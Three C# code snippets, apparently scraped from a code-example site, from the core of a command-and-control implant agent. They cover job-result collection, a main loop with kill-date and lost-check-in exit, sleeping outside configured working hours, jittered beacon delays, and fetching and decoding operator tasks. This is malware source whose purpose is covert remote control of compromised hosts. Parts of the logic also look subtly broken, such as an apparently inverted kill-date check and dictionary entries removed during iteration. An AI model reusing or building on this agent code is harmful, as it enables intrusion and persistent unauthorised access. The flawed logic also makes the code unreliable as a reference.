////////////////////////////////////////////////////////////////////////////////
 internal void checkAgentJobs(ref byte[] packets, ref Coms coms)
 {
     foreach (KeyValuePair <string, Job> job in jobs)
     {
         if (job.Value.isCompleted())
         {
             //Add to packet
             jobs.Remove(job.Key);
             //Add the correct result id
             packets = Combine.combine(packets, coms.encodePacket(110, job.Value.getOutput(), 0));
         }
     }
 }
        ////////////////////////////////////////////////////////////////////////////////
        internal byte[] getAgentJobsOutput(ref Coms coms)
        {
            byte[] jobResults = new byte[0];
            foreach (String jobName in jobs.Keys)
            {
                String results = "";
                if (jobs[jobName].isCompleted())
                {
                    results = jobs[jobName].getOutput();
                    jobs[jobName].killThread();
                    jobs.Remove(jobName);
                }
                else
                {
                    results = jobs[jobName].getOutput();
                }

                if (results.Length > 0)
                {
                    jobResults = Combine.combine(jobResults, coms.encodePacket(110, results, 0));
                }
            }
            return(jobResults);
        }
Exemple #3
0
        ////////////////////////////////////////////////////////////////////////////////
        // Main Loop
        ////////////////////////////////////////////////////////////////////////////////
        private void run()
        {
            ////////////////////////////////////////////////////////////////////////////////
            if (killDate.CompareTo(DateTime.Now) > 0 || coms.missedCheckins > coms.lostLimit)
            {
                jobTracking.checkAgentJobs(ref packets, ref coms);

                if (packets.Length > 0)
                {
                    coms.sendMessage(packets);
                }

                String message = "";
                if (killDate.CompareTo(DateTime.Now) > 0)
                {
                    message = "[!] Agent " + sessionId + " exiting: past killdate";
                }
                else
                {
                    message = "[!] Agent " + sessionId + " exiting: Lost limit reached";
                }

                UInt16 result = 0;
                coms.sendMessage(coms.encodePacket(2, message, result));
                Environment.Exit(1);
            }

            ////////////////////////////////////////////////////////////////////////////////
            Regex regex = new Regex("^[0-9]{1,2}:[0-5][0-9]$");

            if (workingHours != null && workingHours[0] != null && workingHours[1] != null)
            {
                if (regex.Match(workingHours[0]).Success&& regex.Match(workingHours[1]).Success)
                {
                    DateTime now   = DateTime.Now;
                    DateTime start = DateTime.Parse(workingHours[0]);
                    DateTime end   = DateTime.Parse(workingHours[1]);
                    if ((end.Hour - start.Hour) < 0)
                    {
                        start = start.AddDays(-1);
                    }
                    if (now.CompareTo(start) > 0 && now.CompareTo(end) < 0)
                    {
                        TimeSpan sleep = start.Subtract(now);
                        if (sleep.CompareTo(0) < 0)
                        {
                            sleep = (start.AddDays(1) - now);
                        }
                        Thread.Sleep((Int32)sleep.TotalMilliseconds);
                    }
                }
            }

            ////////////////////////////////////////////////////////////////////////////////
            if (coms.agentDelay != 0)
            {
                Int32 sleepMin = (coms.agentJitter - 1) * coms.agentDelay;
                Int32 sleepMax = (coms.agentJitter + 1) * coms.agentDelay;

                if (sleepMin == sleepMax)
                {
                    coms.sleepTime = sleepMin;
                }
                else
                {
                    Random random = new Random();
                    coms.sleepTime = random.Next(sleepMin, sleepMax);
                }

                Thread.Sleep(coms.sleepTime * 1000);
            }

            ////////////////////////////////////////////////////////////////////////////////
            byte[] jobResults = jobTracking.getAgentJobsOutput(ref coms);
            if (jobResults.Length > 0)
            {
                coms.sendMessage(jobResults);
            }

            ////////////////////////////////////////////////////////////////////////////////
            byte[] taskData = coms.getTask();
            if (taskData.Length > 0)
            {
                coms.missedCheckins = 0;
                if (Encoding.UTF8.GetString(taskData) != defaultResponse)
                {
                    coms.decodeRoutingPacket(taskData, ref jobTracking);
                }
            }
            GC.Collect();
        }